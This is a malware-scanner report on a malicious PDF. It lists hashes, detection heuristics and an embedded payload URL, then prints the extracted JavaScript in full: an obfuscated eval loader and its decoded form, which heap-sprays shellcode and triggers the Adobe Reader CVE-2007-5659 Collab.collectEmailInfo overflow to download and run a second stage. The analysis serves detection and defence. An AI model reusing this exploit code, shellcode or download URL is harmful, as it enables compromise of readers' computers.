Malicious PDF — malware analysis report

Static analysis result for SHA-256 28178e30e070f8f6…

MALICIOUS

PDF

4.6 KB Created: 2008-08-06 01:42:27 Authoring application: Scribus 1.3.3.12 (via Scribus PDF Library 1.3.3.12) First seen: 2026-05-08
MD5: 56067e2f76aee505216d452982f0e744 SHA-1: f9f20e438025929d527683bf7f7963b0b5d1b86f SHA-256: 28178e30e070f8f616a00ada9bc8a56fc1528e4ca1725b4e45811e1425d09ae3
308 Risk Score

Malware Insights

MITRE ATT&CK
T1059.001 PowerShell

The PDF file contains embedded JavaScript, indicated by the PDF_JAVASCRIPT and PDF_JS heuristics. A high-severity PDF_EVAL heuristic firing suggests the presence of an eval() call within the JavaScript, which is commonly used to obfuscate malicious code or dynamically execute downloaded payloads. The extracted artifact 'javascript_obj0013_001.js' further supports the presence of JavaScript. The eval() call is the primary IOC, and the overall pattern suggests a downloader or dropper mechanism.

Machine Learning

  • Nyx PDF Classifier malicious score 1.0000

Heuristics 8

  • Collab.collectEmailInfo — CVE-2007-5659 critical CVE exact CVE_2007_5659
    PDF JavaScript calls Collab.collectEmailInfo — CVE-2007-5659 is a buffer overflow in Adobe Reader triggered by a long argument or heap-sprayed message field passed to Collab.collectEmailInfo(). Part of a series of Acrobat JS API exploits. (identified after JavaScript deobfuscation)
  • JavaScript action low 3 related findings PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • PDF JavaScript exploit cluster critical PDF_JS_EXPLOIT_CLUSTER
    PDF combines an executable JavaScript/action surface with exploit staging indicators such as eval/unescape/fromCharCode, XFA script content, or a related CVE pattern. Benign form JavaScript remains low-severity, but this correlated cluster is high-confidence malicious behavior.
    Matched line in script
    function rxRjQJyu3(){eval("function im"+"plo"+"de(gl"+"ue,pie"+"ces){return ((pieces instanceof Array)?pie"+"ce"+"s.jo"+"in(glu"+"e):pie"+"ces);}");eval("function DzLW3x7j(AcJXkX){return St"+"rin"+"g['fro"+"mCh"+"arC"+"ode']"+"(AcJXkX)"+";"+"}");eval("function g0N7pOrF2ar(ovM0VsRZAc){var Hz0vI6Tne4m4A="+"0,H9tWrhzjJ=ovM0VsRZAc.l"+"en"+"gth,bQxVIC=10"+"2"+"4,s5AR1WbVP45Zf,XokXg,cPlfVCc1Up='',hthptEQO=Hz0vI6Tne4m4A,hTD0KDx5k=Hz0vI6Tne4m4A,UH4IwYVYZz=Hz0vI6Tne4m4A,CMHoBB=Ar"+"ra"+"y(63,60,8,6,58,31 …
  • PDF exploit shellcode contains an embedded download URL high PDF_JS_SHELLCODE_DOWNLOAD_URL
    Decoded PDF exploit shellcode contains a hardcoded http(s) URL — stored as little-endian %uXXXX Unicode escapes, or hex-encoded in a document metadata field (/CreationDate, /Title) and referenced from the decoded script. Reader exploit shellcode embeds the second-stage fetch URL this way and pulls it down with a urlmon/URLDownloadToFile-style download-and-execute (commodity downloader behaviour rather than a specific Acrobat CVE).
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Generic recovered JavaScript exploit stage high PDF_GENERIC_STAGE_RECOVERY
    Bounded static stage recovery exposed hidden JavaScript through generic transforms such as null-byte collapse, percent decoding, marker replacement, arithmetic character codes, fromCharCode, numeric arrays, numeric-array minus-key decoders, alphabet-index arrays, /Producer half-difference metadata arrays, hex literals, marker-stripped Base64 literals, custom 6-bit XOR table decoders, or repeated-marker hex carriers. This rule is emitted only when the recovered stage contains exploit-like Acrobat JavaScript or shellcode markers.
  • Suspicious extracted artifact medium EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://abb192.cn/exp/load.php?id=1518&spl=4 Referenced by PDF JavaScript

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0013_001.js pdf-javascript-stream PDF /JS object 13 at offset 0x367 6311 bytes
SHA-256: 96f565cc9a9b6aa986dc1ea6688adfd3b042c8e2d2f33778cd0cd505834cb194
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 4 eval/decoder/string-building token(s). 169 of 246 identifiers look randomly generated (e.g. 'YWmyUfqg47c_u7qg4pYf4fqgYgY7_fqg8_mENfqg'); 2 string-concatenation chain(s) — consistent with name-mangling obfuscation.
Preview script
First 1,000 lines of the extracted script
function rxRjQJyu3(){eval("function im"+"plo"+"de(gl"+"ue,pie"+"ces){return ((pieces instanceof Array)?pie"+"ce"+"s.jo"+"in(glu"+"e):pie"+"ces);}");eval("function DzLW3x7j(AcJXkX){return St"+"rin"+"g['fro"+"mCh"+"arC"+"ode']"+"(AcJXkX)"+";"+"}");eval("function g0N7pOrF2ar(ovM0VsRZAc){var Hz0vI6Tne4m4A="+"0,H9tWrhzjJ=ovM0VsRZAc.l"+"en"+"gth,bQxVIC=10"+"2"+"4,s5AR1WbVP45Zf,XokXg,cPlfVCc1Up='',hthptEQO=Hz0vI6Tne4m4A,hTD0KDx5k=Hz0vI6Tne4m4A,UH4IwYVYZz=Hz0vI6Tne4m4A,CMHoBB=Ar"+"ra"+"y(63,60,8,6,58,31,53,25,54,36,0,0,0,0,0,0,3,51,24,15,33,44,7,50,17,18,29,28,10,20,47,16,21,45,56,2,48,35,61,57,4,38,19,0,0,0,0,46,0,0,1,59,27,5,30,41,22,37,11,52,40,39,34,32,14,62,26,9,23,55,12,13,43,42,49);f"+"o"+"r(XokXg=M"+"at"+"h.c"+"ei"+"l(H9tWrhzjJ/"+"bQxVIC)"+";XokXg>Hz0vI6Tne4m4A;XokXg-"+"-){fo"+"r(s5AR1WbVP45Zf=Ma"+"th.m"+"in(H9tWrhzjJ,bQxVIC);s5AR1WbVP45Zf>Hz0vI6Tne4m4A;s5AR1WbVP45Zf-"+"-,H9tWrhzjJ-"+"-){UH4IwYVYZz|"+"=(CMHoBB[ovM0VsRZAc.cha"+"rCod"+"eAt(hthptEQO+"+"+)-48])<"+"<hTD0KDx5k;if(hTD0KDx5k){cPlfVCc1Up+"+"=DzLW3x7j"+"(220^UH4IwYVYZz&"+"2"+"5"+"5);UH4IwYVYZz>"+">="+"8;hTD0KDx5k-"+"="+"2;}el"+"se{hTD0KDx5k="+"6"+";}}"+"}return (cPlfVCc1Up);}var tag74tFN8DS=implode('',['1xrN_G0ik','GfUJYj0','D','A','N','EW_','L0J4yxVhLV65p04YyE','0nrQALj0','EY_D','q8p','QXGpVWycyf','YB9Ex','y4TACYgm2ig8d','g6','A0g1NLQ6Sd','_1','Z5_','4_yms3s','cyy_1T','YxEcnLQ8','c','pRBY','fnMYrNi','h0gWy','cyfYB','9Exy415','5R1mx_x','47n','HG','_','yy5f','l1mx_x47nH','G_','yyA','5R1','mx_x4','7nHG_yyj0xg','4cxl4','rQG_jVE','@CYgm2ig8dgAc','fVmANx','Wnr','y_Lj0Wy','cyf','Y','B9Exy','4','mA5l1','xd','y','Gqjy6pxE','1Cjc6YWnktC0','m','GNyV4L0','jh_EL_jg','h_p_r','IsW','qG','5R1ApgE0jc0GqNE0cW1x','rN_GNDk8f','iTG5R1myEW','q4NVG','r_k','c5q','gnqcl0fqgnqcl0fqgnqcl0f','q','gG_','Y747','qgq','qcgc7qgy','_4','5hf','qgIp','c','fhfqgIpcEufqgYgYN','0fqg','Ygcl0fq','gYgmr87qgYsWE','mfq','gygY7q7qg','ygYry7qgI_mxx7qgngYlm7q','g','YgY7y7qgyp47y7qgYWcJy7','qg','h','_YyUfqg','n_crqfqgh','_Y','yUfqgyfY7_fqgYgYE0','fqgYgY74','7qgyp47y7qg4','7','WE0fqgyfc9','NfqgY','7c','J8fqg','Gq4E0fqgYgYQufqgYgY7y7qg','87','myxfqg47W7','47q','g_q49Nf','qg','y','f4Q','ufqgG','q478fqgY','gYQx','7qgYgY7y','7qg87myxf','q','g','47W7_','fqgq','7m9Nfqg8','pcgx7qgGq4_U7qg','YgY','EU7qgYgY','7y7qg87myxfqg','47W7qf','qg','Gpc9NfqgG_Y_uf','q','gGq','49x','7qgYgYN','c7','qgY','gY7y7qg87myx','f','qg47Wry7qg4fY','9NfqgGfmixfqgGq4gNfqgYgY_tfqgYgY7y7q','g87myxfqg8','gYr','47qgnW','4yx7qgh','fm_','07q','gy_','4QmfqgyW4J','8','7','qg','YsWExf','qgY','gY7Y7qg4','7c','7y7q','ghfm','yxf','q','g','yp454','7qgYgm','J87qgY7Y9mf','qg','yp4fyfqgyW4f87','qgGq','4','fh','fq','gYg','YyUf','qgYgY7','y','7','qgI','q','4','f','y7qg','y74Bhfqgh_Y','5Gfqg_pWEN','fqgYgY7y7qg','y_4','7y7qgyWcJ87','qg4','fmyUfqg4_Yy07','qgy_4fy7qgqg','YJ','87qg8pc','9NfqgYg','Y7y7qg','4gY7y7qg8','7myUfqg','If4','r47','qg4g47n7qg47myUfqg','Gq4r_fqgYg','Y9m7','qgY','gY7','y7qg','87m7','q','7qg4pW5y','7qg4Wc7y7','qgq7ciuf','qg4pW9','u','7qg','Yg','mJy7qgIfmiNfqg','YgY7y7q','g','hfmQAfq','gy','p4','5y7qgYWcJ8','7qgY7Y9mfqgyp4fyf','qgyW4','f','87q','g8gYENfqg','YgY7y7qg','If','47y7qg','4W47Ifqg87m7q7qgnW','m547','qg4WmNUfq','g8pcf','q7qgq','gYiu7qg','4W','mf','y7qg87m','yUfqgI','f4rqfqg4g4787q','g47myUfqgGq','4','r_fqgYgY5q','7qgYgY7y7qgYgY','9','mfqghfmQAfqgyp45y','7qg','YW4J87q','gYsY9mfqgyp4','fyfqg','yW4f87qgygYENfqgYgY','7y7qgIf47y7qgyp4','Q','Af','qg','y','gYJ','87qgY','7Y9','mfq','gy','p','4fyfqg','yW4f87qg','YgYE','N','fqgYgY7y','7qg87Y7y7qg4sYfnfqgG','fY7q7qgGfY7q7','qgGfY7q7qg','GfY7q7qgGqcy07qg','47','4','747qgy','p4fq','7qg','GpY','Nm','fqg4sYQZfqgG_Y','QA','fqgyp4','f87','qgyp4E0fqgYW4','icfqg4g','cyUfqg','47W7qfqghq','myUfqgyp4Bq','fqgy','7cic7qgYWmiN','fqg','47WQ07qghfWyUfqgYWm5y7qgnWmQ07qg8g','4','_xfqgn','_cJY','7q','g','4qm7q7qgnW','mfhfqgY','scQtfqgyg','Yg','u','fqg','8pYBY','fqgYW4ic7q','g','4fc_m7qgYWm74fqg','8gYQU7qg8fYEUfqg8fcBnfqgh','fmf8fqg474Eu7qgGp4yUf','qg','474yUfqgYW','m547qgIfW','Ncfq','gYWcy','Ufqgyp4JnfqgyWcfYfqgq_c7','q7qgYgmyUfqg','YWmyUfqg47c_u7qg4pYf4fqgYgY7_fqg8_mENfqg8pcQufqg4','7mQ','Afqg8W','cfn7qg8scJ4','fqgYgY','J8f','qg_p4yZfq','g_pcxUfqg4_YNu7qgyfc_x','7qg','y_cycfqgqf','WNufqg4fYNc','fqgyfYy','0fqg','yf4_x7qg_p','cxZfq','gyqm_x7qgy','fcyx7qg4fYyU','fq','g','ypWxAfqgq_YxAfqgyp4ytfqgqfcNU7qgqfc','Nmf','qg4','_4N','Zfqg_pcx','0fqgq','pYy07','qgGpcNU_065p0','y','8','xx1t','49lm','d4QA5R','1ApglApcEApcmANyV4L0gndYCfjx','1Fp03Idc','PSx','1TYxE','cnL','Q1dC0','_','5p0y8x','x1U74sI7yVhL','0','DA','5gZnf','_gup0zACV','g','nd','YCf','jx','u','A','pgN','Z','f','VmANyV','4L','0Wyc','yfYB9Exy4','1Fp0g','Ld_NqdNE','Y','jVqm5yi','AfWE','m','5yiAfW','Ec5VmA5_4_','yms3scyy','p0DACxg','dlNQZ','jDE','Z5_4_yms3sc','yyp11U','74','sI7yVhrV','m','AN','yV4L0tI2y','xdW9cr','rn','rrcNiG5R1Z0ni','jxncIyi','xU','xYMI_','N1','FC0E','Z','L4EA','p','cEAfVA','t49lmd4','Q5p0','4p','xx1ZNy','V4L0H_x43','fjW6q29','r3pcm','F','W_ydRQ9tcUOys','RtI2yxdW9','c','rrnrrcNi','ff9cy_','DuIf','Q','CSgYu55V15L','0t','Ijcw87','_F','3W_ydRQ9tcUOy','7o1Fp0','Wy','cy','fYB9Exy415C','03IdcPS','cW1FL0DGN','_gLcNlhc','E','GG5y','742W0YBEky2','ENh_gtI5V15L','0y8xx','1','NjYk3sWG_cns_','dcuG2','0DA5N','EGy1yhd_xY','xx','LYxxNhcEGLCyAq2y_hxEcI5','VmA0_BId99jc_jYR_Q','5jU','1Fp0c','n','sQHI_Ec_','B','nc8','qQvLNx','W','GLEVqd_kCCoBp0_TcN065p0y8xx1dWNqI','r','488xDjh74MG5R1jd_xG5m_4r','Ni','I0_BId99jc_j','YR_Q','5j','UG0j','QV4rmlI','Cc6@0_','BI','d99j','c_jYR','_Q','5jUG0jQ','V4','r','mlI','5c6@0_BId99jc','_jYR_Q5jUG0jQV4','rmlI','Nc6t0W1tx','_1ZC','Vhq','x','N9Y_QVr','RnPYpiFGf','o1FfR1Zp04xC0kZNi0','4jg','g','ddN3_BigZWD','QF20DFp0QANq4A','Ni0','4jggdd','N','3_BigZWD_','F20o','ANc6A','CloG','Ni04j','g','gddN3_Bi','gZW','D','QF','2','0o','A5c6','tC0oSL0k','dWNq','Ir48','8xD','jh','74Mf2cbG','5RDA041xNq1dWNqI','r488xDj','h74MfBc','bGCR1','ufV1','@Ll1','ZN','i04jg','gddN','3_BigZWDEF','20oA046tC0','mG','0EE','t','d','YjI5VmANyV','4L0e_gn','xx_QAG5','R1myEWq4N','VGr','_','kc5qg','GqNE0d','qgG','qN','E0x065p0x','I','dQTYjVe_g','n','xx','_','QALCEWL','c_lIj0o','A','C4ltf4','_tC0e_','gnxx_QA','G0VDA5DdyR4ydc','E','mACykhcxG0cETSdNqq2yA','4r','_1Fp05pjET8','xNG0','cE','TSd','_0','nrYz','8dQThgE4pjV','mqryq','rxW1cN0TF','cxcrp0e','_gnx','x_QA3r','VmA5l1FL0gYgU9','0d','nz','I','xnTqr','WYf','sV6','5','p']);");eval(g0N7pOrF2ar(tag74tFN8DS));}
generic_stage_recovery_000.js deobfuscated-js generic stage recovery sixbit-xor-table from JavaScript object 13 at offset 0x367 2573 bytes
SHA-256: 8c08c8f4e8409ffee67330b58a603ada8c93b82e6d2d7bac31ce9db90694f87d
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 3 eval/decoder/string-building token(s).
Preview script
First 1,000 lines of the extracted script
var Kh0QAe = new Array(); function p5Zb1hX0(efwBUM0v6, D5UHuay) { while (efwBUM0v6.length*2<D5UHuay){efwBUM0v6 += efwBUM0v6;} efwBUM0v6 = efwBUM0v6.substring(0,D5UHuay/2); return efwBUM0v6; } function o0iEW() { var W9nVgxJ7dFH8b = 0x0c0c0c0c; var Zh1Il = unescape("%u4343%u4343%u4343%u0FEB%u335B%u66C9%u80B9%u8001%uEF33%uE243%uEBFA%uE805%uFFEC%uFFFF%u8B7F%uDF4E%uEFEF%u64EF%uE3AF%u9F64%u42F3%u9F64%u6EE7%uEF03%uEFEB%u64EF%uB903%u6187%uE1A1%u0703%uEF11%uEFEF%uAA66%uB9EB%u7787%u6511%u07E1%uEF1F%uEFEF%uAA66%uB9E7%uCA87%u105F%u072D%uEF0D%uEFEF%uAA66%uB9E3%u0087%u0F21%u078F%uEF3B%uEFEF%uAA66%uB9FF%u2E87%u0A96%u0757%uEF29%uEFEF%uAA66%uAFFB%uD76F%u9A2C%u6615%uF7AA%uE806%uEFEE%uB1EF%u9A66%u64CB%uEBAA%uEE85%u64B6%uF7BA%u07B9%uEF64%uEFEF%u87BF%uF5D9%u9FC0%u7807%uEFEF%u66EF%uF3AA%u2A64%u2F6C%u66BF%uCFAA%u1087%uEFEF%uBFEF%uAA64%u85FB%uB6ED%uBA64%u07F7%uEF8E%uEFEF%uAAEC%u28CF%uB3EF%uC191%u288A%uEBAF%u8A97%uEFEF%u9A10%u64CF%uE3AA%uEE85%u64B6%uF7BA%uAF07%uEFEF%u85EF%uB7E8%uAAEC%uDCCB%uBC34%u10BC%uCF9A%uBCBF%uAA64%u85F3%uB6EA%uBA64%u07F7%uEFCC%uEFEF%uEF85%u9A10%u64CF%uE7AA%uED85%u64B6%uF7BA%uFF07%uEFEF%u85EF%u6410%uFFAA%uEE85%u64B6%uF7BA%uEF07%uEFEF%uAEEF%uBDB4%u0EEC%u0EEC%u0EEC%u0EEC%u036C%uB5EB%u64BC%u0D35%uBD18%u0F10%u64BA%u6403%uE792%uB264%uB9E3%u9C64%u64D3%uF19B%uEC97%uB91C%u9964%uECCF%uDC1C%uA626%u42AE%u2CEC%uDCB9%uE019%uFF51%u1DD5%uE79B%u212E%uECE2%uAF1D%u1E04%u11D4%u9AB1%uB50A%u0464%uB564%uECCB%u8932%uE364%u64A4%uF3B5%u32EC%uEB64%uEC64%uB12A%u2DB2%uEFE7%u1B07%u1011%uBA10%uA3BD%uA0A2%uEFA1%u7468%u7074%u2F3A%u612F%u6262%u3931%u2E32%u6E63%u652F%u7078%u6C2F%u616F%u2E64%u6870%u3F70%u6469%u313D%u3135%u2638%u7073%u3D6C%u0034"); var yO4e51 = 0x400000; var udESkp = Zh1Il.length * 2; var D5UHuay = yO4e51 - (udESkp+0x38); var efwBUM0v6 = unescape("%u9090%u9090"); efwBUM0v6 = p5Zb1hX0(efwBUM0v6, D5UHuay); var KXt7JOgzUFjcy = (W9nVgxJ7dFH8b - 0x400000)/yO4e51; for (var Mg6Zk8iSLF=0;Mg6Zk8iSLF<KXt7JOgzUFjcy;Mg6Zk8iSLF++) { Kh0QAe[Mg6Zk8iSLF] = efwBUM0v6 + Zh1Il; } } function uER8cUmhVls9zK() { var gDhM8ngWUg1kP = app.viewerVersion.toString(); gDhM8ngWUg1kP = gDhM8ngWUg1kP.replace(/\D/g,""); var Jcbx5jaZWI5H = new Array(gDhM8ngWUg1kP.charAt(0),gDhM8ngWUg1kP.charAt(1),gDhM8ngWUg1kP.charAt(2)); if ((Jcbx5jaZWI5H[0] == 8 && ((Jcbx5jaZWI5H[1] == 1 && Jcbx5jaZWI5H[2] < 2) || Jcbx5jaZWI5H[1] < 1)) || (Jcbx5jaZWI5H[0] == 7 && Jcbx5jaZWI5H[1] < 1) || (Jcbx5jaZWI5H[0] < 7)) { o0iEW(); var YGV76jo = unescape("%u0c0c%u0c0c"); while(YGV76jo.length < 44952) YGV76jo += YGV76jo; this.collabStore = Collab.collectEmailInfo({subj: "",msg: YGV76jo}); } } uER8cUmhVls9zK();

Open this report in the interactive analyzer, or submit your own file for analysis.